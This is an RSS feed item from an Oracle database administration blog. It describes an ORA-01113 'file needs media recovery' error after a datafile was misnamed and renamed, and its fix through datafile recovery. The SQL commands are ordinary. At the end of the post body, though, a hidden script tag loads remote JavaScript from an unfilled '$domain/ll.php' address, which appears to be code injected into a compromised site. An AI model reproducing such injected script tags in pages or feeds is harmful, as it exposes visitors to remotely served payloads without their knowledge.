<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Oracle Database Administration Blog &#187; ORA-01113 &#8211; On Renaming file Mistakenly</title>
	<atom:link href="http://www.bestremotedba.com/tag/ora-01113-on-renaming-file-mistakenly/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bestremotedba.com</link>
	<description>Specially Created for Remote DBAs and Junior DBAs</description>
	<lastBuildDate>Fri, 30 Dec 2011 05:43:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>ORA-01113 &#8211; On Renaming file Mistakenly</title>
		<link>http://www.bestremotedba.com/ora-01113-on-renaming-file-mistakenly/</link>
		<comments>http://www.bestremotedba.com/ora-01113-on-renaming-file-mistakenly/#comments</comments>
		<pubDate>Mon, 22 Feb 2010 06:53:33 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Restore and Recovery]]></category>
		<category><![CDATA[ORA-01113 - On Renaming file Mistakenly]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=572</guid>
		<description><![CDATA[ORA-01113 - On Renaming file Mistakenly]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>Incident<br />
	DBA tried to add a datafile to database, but misnamed it and issued the following command</p>
<p>		alter database datafile &#8216;/opt/oracle/emtprod/u18/oradata/EMTDB/mtm_data3_03_EMTDB.dbf&#8217; offline drop;</p>
<p>	Copied the file to it&#8217;s new location/name and then issued the following</p>
<p>	alter database rename file &#8216;/opt/oracle/emtprod/u18/oradata/EMTDB/mtm_data3_03_EMTDB.dbf&#8217;<br />
									to &#8216;/opt/oracle/emtprod/u20/oradata/EMTDB/mtm_data2_04_EMTDB.dbf&#8217;;</p>
<p>	When dba made the datafile online &#8230;</p>
<p>	alter database datafile &#8216;/opt/oracle/emtprod/u20/oradata/EMTDB/mtm_data2_04_EMTDB.dbf&#8217; online;</p>
<p>	DBA received the following error </p>
<p>		ERROR at line 1:<br />
		ORA-01113: file 26 needs media recovery<br />
		ORA-01110: data file 26: &#8216;/opt/oracle/emtprod/u20/oradata/EMTDB/mtm_data2_04_EMTDB.dbf&#8217;</p>
<p>Solution:</p>
<p>	If this happened just a few minutes ago, Just needed to do<br />
		SQL> alter database recover datafile &#8230;&#8230;</p>
<p>	Brought file back into offline mode and then you will be able to online the file.  <script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/ora-01113-on-renaming-file-mistakenly/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

